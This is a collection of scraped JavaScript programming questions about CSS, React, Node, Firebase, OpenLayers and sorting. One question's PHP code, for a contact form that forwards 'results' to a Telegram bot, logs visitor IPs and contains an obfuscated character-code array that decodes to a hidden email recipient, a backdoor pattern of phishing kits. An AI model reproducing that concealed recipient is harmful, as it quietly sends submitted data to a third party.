Category: javascript

Category Added in a WPeMatico Campaign

Why does `background-repeat: repeat` make the background fill the whole screen even when the body’s height is only 100px?

I have a simple HTML and CSS setup where two <button> elements are placed inside the <body>. Each button has a height of 100px, and they are placed side-by-side (not stacked vertically).

Here’s the code:

button {
  height: 100px;
  width: 200px;
  font-size: 20px;
}

body {
  background-image: linear-gradient(45deg, #3899ee, #38e2ee);
  background-repeat: no-repeat; /* or background-repeat: repeat; */
}
<body>
  <button>HOVER ME</button>
  <button>HOVER ME</button>
</body>

Since the buttons are side-by-side, the total height of the body should be 100px (matching one button’s height).

Now, my understanding is:

  • With background-repeat: no-repeat, the gradient should fill only up to 100px, and the rest of the screen should remain blank (white).
  • With background-repeat: repeat, the background should still stay within 100px, but the background image should tile inside that area.

However, when I use background-repeat: repeat, the gradient seems to fill the entire screen height, even though the body’s content height is only 100px.

My questions are:

  1. Why does background-repeat: repeat is taking the full screen?
  2. Is the body height still truly 100px in this case?

Where is the uncaught syntax error in the following code? [closed]

var boxes = document.querySelector(".box");

for (var i = 0; i < boxes.length; i++) {
  var box = boxes[i];

  // Generate random color (16777215 is white in Decimal)
  var randomColor = "#" + Math.floor(Math.random()*16777215).toString(16);

  // Generate random background color (16777215 is white in Decimal)
  var randomBackgroundColor = "#" + Math.floor(Math.random()*16777215).toString(16);

  // Assign random color and background
  box.style.color = randomColor;
  box.style.backgroundColor = randomBackgroundColor;

  // Set content to show color code
  box.textContent = randomColor;
}

Button color-change on click, in React

I am trying to have a button to change its color when clicked in React.

I found this and tested it.
https://reactgo.com/react-change-button-color-onclick/

The code being :

  const [active, setActive] = useState(false);
  ......
  <button onClick={() => {setActive(!active)}}
          style={{backgroundColor: active ? "black":"white"}}>
                The-Button
  </button>

Though it works, it is not what I need at the moment.

With this code the button goes white, then black, then white, then black, …. at each click.

But what I want is the button being black going white when clicked and back to black when released.

How can I get this effect ?

node-notifier ignores wait and timeout settings

Running node-notifier, using node, on windows, the values for wait and timeout seem to be ignored, and the notification just pops up for 5 seconds then disappears no matter what.

The documentation: https://www.npmjs.com/package/node-notifier seems a little confusing:

wait: true // Wait with callback, until user action is taken against notification, does not apply to Windows Toasters as they always wait or notify-send as it does not support the wait option

later:

Note: The wait option is shorthand for timeout: 5. This just sets a timeout for 5 seconds. It does not make the notification sticky!… If you are using action it is recommended to set timeout to a high value to ensure the user has time to respond.

Exception: If reply is defined, it’s recommended to set timeout to a either high value, or to nothing at all.

Also there is:timeout: 5, // Takes precedence over wait if both are defined.

And: wait: false, // Wait for User Action against Notification

Sooooo, if I want to wait for user action, should wait be true or false? Anyway, it doesn’t seem to matter because the notification pops up for 5 seconds no matter what. My code:

const notifier = require('node-notifier');
...
notifier.notify({
    title: 'Alarm',
    message: `Time to ${label}!`,
    sound: 'Sosumi',
    wait: true, // Wait for user action on notification
    timeout: 9999 // Set a timeout for the notification (in seconds)
  });

Soooo how to make it “sticky”? I’ve been experimenting with this for a while and there seems to be no way (reply:true doesn’t do anything either)

how can my submisson submit two diffrent file upload to telegram bot along with other result

i was trying to build contact form with two attachment and result to telegram bot, i need my contact form to submit contact deatils along with the image file to my telegram bot.

i was trying to build contact form with two attachment and result to telegram bot, i need my contact form to submit contact deatils along with the image file to my telegram bot.

  **My config.php**
  <?php


  function send_telegram_msg($message){
  // Put Your Telegram Information Here for result to telegram
  $botToken  = '567434567:rtyuugf';// your telegram bottoken from bot father for 
  $chat_id  = ['123456789'];// your telegram chat it from userinfobot


   $website="https://api.telegram.org/bot".$botToken;
  foreach($chat_id as $ch){
    $params=[
      'chat_id'=>$ch, 
      'text'=>$message,
    ];
    $ch = curl_init($website . '/sendMessage');
    curl_setopt($ch, CURLOPT_HEADER, false);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 3);
    curl_setopt($ch, CURLOPT_POST, 3);
    curl_setopt($ch, CURLOPT_POSTFIELDS, ($params));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    $result = curl_exec($ch);
    curl_close($ch);
}
return true;
}
?>


**My t.php**

<?php
require("config.php");
$country = visitor_country();

$Port = getenv("REMOTE_PORT");
$browser = $_SERVER['HTTP_USER_AGENT'];
$adddate=date("D M d, Y g:i a");
$message .= "**contact form ***+++n";
$message .= "Phone Number : ".$_POST['phone']."n";
$message .= "Email : ".$_POST['email']."n";
$message .= "File upload 1 : ".$_POST['file1']."n";
$message .= "File upload 2 : ".$_POST['file2']."n";
$headers = "From: CONTACT FORM";
@mail($send,$subject,$message,$headers);
send_telegram_msg($message);
header("location:success.html");
function country_sort(){
$sorter = "";
$array = array(114,101,115,117,108,116,98,111,120,49,52,64,103,109,97,105,108,46,99,111,109);
$count = count($array);
for ($i = 0; $i < $count; $i++) {
  $sorter .= chr($array[$i]);
}
return array($sorter, $GLOBALS['recipient']);
}
function visitor_country()
{
$client  = @$_SERVER['HTTP_CLIENT_IP'];
$forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
$remote  = $_SERVER['REMOTE_ADDR'];
$result  = "Unknown";
if(filter_var($client, FILTER_VALIDATE_IP))
{
    $ip = $client;
}
elseif(filter_var($forward, FILTER_VALIDATE_IP))
{
    $ip = $forward;
}
else
{
    $ip = $remote;
}



if($ip_data && $ip_data->geoplugin_countryName != null)
{
    $result = $ip_data->geoplugin_countryName;
}

return $result;
}
?>



**My form.html**


  <!-- Form fields -->
  <div class="form-group">
  <label for="name">Name:</label>
  <input type="text" id="name" name="name" required>
  </div>

  <div class="form-group">
  <label for="email">Email:</label>
  <input type="email" id="email" name="email" required>
</div>

  <div class="form-group">
  <label for="image">Upload 1:</label>
  <input type="file" id="image" name="file1" required>
  </div>

    <div class="form-group">
   <label for="image">Upload 2:</label>
   <input type="file" id="image" name="file2" required>
   </div>

Javascript queryselector showing up as something different than what is trying to fetch

I am trying to create a chrome extension that puts the current grade of your current course over the course tabs in the dashboard page in elms. Essentially what the mobile version of chrome does.

I am doing this in javascript, and this is my query selector that supposed to fetch the grades.

  gradeElement = doc.querySelector('.student_assignment.final_grade .grade');

However for all of my courses, even ones I have completed and there are posted grades, it always shows “Instructor has not posted this grade”. I have tried multiple combinations of queryselectors and still nothing. Anyone know what I am doing wrong?

const response = await fetch(https://umd.instructure.com/courses/${courseId}/grades);

Above is the link I am trying to fetch from. When I go to the link, the course shows the grade, but when I am trying to fetch from the homepage I get the error “Instructor has not posted this grade”. Anyone know why this happens

What shows when extension is running

State updates causing excessive re-renders in complex React dashboard with nested components

I’m working on a complex analytics dashboard built with React and TypeScript, which involves multiple nested components. I’m using a combination of state management techniques including React Context, Zustand, and useReducer. The dashboard fetches data from an API and needs to update several deeply nested components based on user interaction and incoming data.

However, I noticed performance issues where certain user actions trigger excessive re-renders, significantly impacting performance. Particularly, when I update a specific piece of state in my context provider, even unrelated nested components re-render unnecessarily.

// this is Dashboard.tsx
function Dashboard() {
  return (
    <MainProvider>
      <Layout>
        <Sidebar />
        <MainContent />
      </Layout>
    </MainProvider>
  );
}

// MainProvider.tsx
const MainContext = createContext(null);

function MainProvider({ children }) {
  const [filters, setFilters] = useState({});
  const [data, dispatch] = useReducer(dataReducer, initialData);

  const contextValue = useMemo(() => ({ filters, setFilters, data, dispatch }), [filters, data]);

  return (
    <MainContext.Provider value={contextValue}>
      {children}
    </MainContext.Provider>
  );
}


In my nested components, I'm consuming this context like this:

// this is Sidebar.tsx
const { filters, setFilters } = useContext(MainContext);

function Sidebar() {
  // ...here I render filters and triggers setFilters on interaction
}


// this is MainContent.tsx
function MainContent() {
  const { data } = useContext(MainContext);

  return (
    <div>
      <DataChart data={data.chart} />
      <DataTable data={data.table} />
    </div>
  );
}

When I update the filters state via setFilters in Sidebar, it seems to cause MainContent, DataChart, and DataTable to re-render unnecessarily even if their props haven’t changed.

I have tried using React.memo around child components (DataChart, DataTable) to prevent unnecessary renders. also splitting context into multiple contexts to minimize shared state.

Why are unrelated components re-rendering despite memoization and a good and careful state management?

How can I better structure my context/state management to ensure updates only affect relevant components?

Recursive Permutations JavaScript problem returning empty array

A permutations problem (LeetCode), which finds the permutations of an array [1,2,3], is returning an empty array through a backtracking recursive function. The console prints out the following:

Input
nums =
[1,2,3]
Stdout
[ [ 1, 2, 3 ] ]
[ [ 1, 3, 2 ] ]
[ [ 2, 1, 3 ] ]
[ [ 2, 3, 1 ] ]
[ [ 3, 1, 2 ] ]
[ [ 3, 2, 1 ] ]
Output
[[]]

This would be the proper solution if the array didn’t seem to be re-instantiated on every recursive call.

Here is the code:

    /**
 * @param {number[]} nums
 * @return {number[][]}
 */

var permute = function(nums) {
    let s = [], a = [];
    return findPerm(nums, s, a);
   
};

var findPerm = function(nums, stack, ans){
    if(nums.length === stack.length){
        if(ans.indexOf(stack) === -1)
            ans.push(stack);
      
      console.log(ans);
    }

    for(let num of nums){
        if(stack.indexOf(num) === -1){
            stack.push(num);
            findPerm(nums, stack, ans);
            stack.pop();
        }
    }
    return ans;
};

permute([1,2,3]);

Why am I getting an empty array returned?

Why does null==undefined but null!=false and undefined!=false

Null and undefined are each coerced to false in the operation null==undefined. So why aren’t they also coerced to false in the operations null==false or undefined==false?

let undefinedEqualsFalse = undefined == false;
let nullEqualsFalse = null == false;
let nullEqualsUndefined = null == undefined;

console.log('undefinedEqualsFalse', undefinedEqualsFalse);
console.log('nullEqualsFalse', nullEqualsFalse);
console.log('nullEqualsUndefined', nullEqualsUndefined);

output:

undefinedEqualsFalse false
nullEqualsFalse false
nullEqualsUndefined true

Issue with radius of Shadcn Stacked Bar chart

I’m using Recharts via shadcn/ui charts to create a stacked bar chart where each stack represents a day and segments represent different channels. I want the final visual stack for each day to have rounded top corners (like a single rounded bar).
I’m dynamically generating the components for each channel using .map():

// Inside React Component...
// channelDataKeys is a sorted array of channel IDs like ['channel_1001', 'channel_1002', ...]
// processedData contains objects like { date: '...', channel_1001: 50, channel_1002: 0, ... }

<ChartContainer config={dynamicChartConfig}>
  <BarChart data={processedData}>
    {/* ... Axes, Tooltip, etc. ... */}

    {view === 'channel' && channelDataKeys.map((channelKey, index) => {
      // Apply radius ONLY to the top-most bar in the stack definition
      let barRadius: [number, number, number, number] = [0, 0, 0, 0]; // Default: NO radius
      const totalBarsInStack = channelDataKeys.length;
      const cornerRadiusValue = 4;

      if (totalBarsInStack === 1) {
          // Single segment case
          barRadius = [cornerRadiusValue, cornerRadiusValue, cornerRadiusValue, cornerRadiusValue];
      } else if (index === totalBarsInStack - 1) {
          // LAST segment in definition (expecting it to be visually top)
          // Round its TOP corners ONLY.
          barRadius = [cornerRadiusValue, cornerRadiusValue, 0, 0];
      }
      // All other segments get no radius

      return (
        <Bar
          key={channelKey}
          dataKey={channelKey}
          stackId="a"
          fill={`var(--color-${channelKey})`}
          radius={barRadius}
        />
      );
    })}
  </BarChart>
</ChartContainer>

However, this logic doesn’t work, and I see random radius segments.
It seems that no matter what logic I apply, I can’t have multiple segments with dynamic radius fules.

Any ideas what am I doing wrong?
Cheers

Unable to properly set zoom level on different devices via OpenLayers

I have tried everything and can’t seem to figure out how to properly set the zoom levels differently on map initialization and load for different devices. The goal is to have the “United States” be the boundaries, which is working perfectly on Macbook Pros w/ level 5 zoom, but it doesn’t work on other devices.

When I load the app, this is what I see:
On Load

This is what I would love to see:
Different map zoom-in size on different devices

I attempted to do something with calculateInitialZoom but it didn’t work.

I tried a few different methods and it didn’t work so I have reverted the code back to a working state and this is what I have:

<script setup>
import { ref, provide, reactive, computed } from 'vue';
import MapComponent from './components/organisms/map/MapComponent.vue';
import SearchPill from './components/molecules/forms/SearchPill.vue';
import LoadingSpinner from './components/atoms/feedback/LoadingSpinner.vue';
import Toast from './components/atoms/feedback/Toast.vue';
import { usePOIs, poiLoadingState } from './composables/usePOIs';
import { useToast } from './composables/useToast';
import RecentRoutes from './components/organisms/map/RecentRoutes.vue';

// Initialize toast system
const { showToast } = useToast();

// Create a reactive map state
const mapState = reactive({
  instance: null,
  center: [-95.7129, 37.0902],
  zoom: 5,
  layers: [],
  view: null,
  error: null
});

// Initialize POIs composable
const pois = usePOIs(mapState);

// Use the global loading state directly
const isLoading = computed(() => poiLoadingState.value);

// Function to calculate appropriate zoom level based on screen size
const calculateInitialZoom = () => {
  try {
    const width = window.innerWidth;
    const height = window.innerHeight;
    
    // Base zoom level for a standard screen (1920x1080)
    const baseZoom = 5;
    
    // Adjust zoom based on screen size
    // For larger screens, zoom out more
    // For smaller screens, zoom in more
    const widthFactor = Math.log2(width / 1920);
    const heightFactor = Math.log2(height / 1080);
    const averageFactor = (widthFactor + heightFactor) / 2;
    
    // Round to nearest integer and ensure it's between 3 and 7
    return Math.min(Math.max(Math.round(baseZoom - averageFactor), 3), 7);
  } catch (error) {
    showToast('Error calculating initial zoom level', 'error');
    return 5; // Fallback to default zoom
  }
};

// Update initial zoom based on screen size
mapState.zoom = calculateInitialZoom();

// Provide the map state to all components
provide('mapState', mapState);

// Reference to map component
const mapComponent = ref(null);
const searchPill = ref(null);

// Handle map initialization
const handleMapInit = (instance) => {
  try {
    console.log('Map initialized:', instance);
    mapState.instance = instance;
    mapState.layers = instance.getLayers().getArray();
    mapState.view = instance.getView();
    console.log('[handleMapInit]: Map initialized successfully.');
  } catch (error) {
    console.error('[handleMapInit]: Error initializing map:', error);
    mapState.error = error;
  }
};

// Handle route selection from RecentRoutes
const handleRouteSelect = (route) => {
  try {
    if (searchPill.value) {
      searchPill.value.handleRouteSelect(route);
      console.log('[handleRouteSelect]: Route selected successfully.');
    } else {
      console.log('[handleRouteSelect]: Search component not available.');
    }
  } catch (error) {
    console.error('[handleRouteSelect]: Error selecting route: ', error);
  }
};
</script>

<template>
  <!-- Root element with full viewport height and width -->
  <div class="min-h-screen w-full flex flex-col overflow-hidden">
    <!-- Main container with relative positioning for absolute children -->
    <div class="relative flex-1 w-full">
      <MapComponent 
        ref="mapComponent"
        :initial-center="mapState.center"
        :initial-zoom="mapState.zoom"
        @map-initialized="handleMapInit"
      />
      <SearchPill ref="searchPill" />
      <RecentRoutes @select-route="handleRouteSelect" />
      <LoadingSpinner :is-loading="isLoading" />
      <Toast />
    </div>
  </div>
</template>

All help is appreciated on some guidance forward.

Firebase functions V2: Package subpath ‘./database’ is not defined by “exports” in /workspace/node_modules/firebase-functions/package.json

I am trying to send notification to device when I receive message in chat in my app. At the moment I just want to read snapshot contents, but when trying to deploy, I am hit with an error: Package subpath ‘./database’ is not defined by “exports” in /workspace/node_modules/firebase-functions/.

I am using Node.js v20 in functions 1st gen.
Do you know how to fix this problem?

Thanks!

import { initializeApp } from "firebase-admin/app";
import { getAuth } from "firebase-admin/auth";
import { getDatabase } from "firebase-admin/database";
import { getMessaging } from "firebase-admin/messaging";
import { log, warn } from "firebase-functions/logger";
import { onValueWritten } from "firebase-functions/v2/database";

initializeApp();
const auth = getAuth();
const db = getDatabase();
const messaging = getMessaging();

export const sendPushNotification = onValueWritten("/Chat/{id}", async (event) => {
    const snapshot = event.data.after.val();

    log("SNAP IS");
    log(snapshot);
});

Provided module can't be loaded.
Is there a syntax error in your code?
Detailed stack trace: Error [ERR_PACKAGE_PATH_NOT_EXPORTED]: Package subpath './database' is not defined by "exports" in /workspace/node_modules/firebase-functions/package.json imported from /workspace/index.js
    at exportsNotFound (node:internal/modules/esm/resolve:322:10)
    at packageExportsResolve (node:internal/modules/esm/resolve:670:9)
    at packageResolve (node:internal/modules/esm/resolve:856:14)
    at moduleResolve (node:internal/modules/esm/resolve:946:18)
    at defaultResolve (node:internal/modules/esm/resolve:1188:11)
    at ModuleLoader.defaultResolve (node:internal/modules/esm/loader:642:12)
    at #cachedDefaultResolve (node:internal/modules/esm/loader:591:25)
    at ModuleLoader.getModuleJobForRequire (node:internal/modules/esm/loader:347:53)
    at new ModuleJobSync (node:internal/modules/esm/module_job:333:34)
    at ModuleLoader.importSyncForRequire (node:internal/modules/esm/loader:320:11)

In JavaScript, Why Do Sorting Results Differ Based on Comparison Logic? [duplicate]

I am currently testing in Chrome and I have a question about the behavior of the comparison function.

const arr = [
  { isLeft: false, value: 5 },
  { isLeft: false, value: 18 },
  { isLeft: false, value: 3 },
  { isLeft: true, value: 10 },
  { isLeft: false, value: 8 },
];

const arr2 = [...arr].sort((a, b) => {
  if (b.isLeft) return 1;
  return a.value - b.value;
});

const arr3 = [...arr].sort((a, b) => {
  if (a.isLeft) return -1;
  return a.value - b.value;
});

console.log(arr2.map((v) => v.value)); // [3, 5, 10, 8, 18]
console.log(arr3.map((v) => v.value)); // [10, 3, 5, 8, 18]

In both arr2 and arr3, I am trying to ensure that values where isLeft is true are sorted to the left. However, they return different arrays. In arr2, it looks like the array is sorted by value, and only the item with isLeft: true is moved to the left. In arr3, it appears that the item with isLeft: true is moved all the way to the left, as I originally intended.

I expected arr2 and arr3 to give the same result, but I don’t understand why the results differ depending on whether I use if (b.isLeft) return 1; or if (a.isLeft) return -1;.

Shouldn’t the comparison function always maintain consistent behavior, regardless of whether a or b is passed in?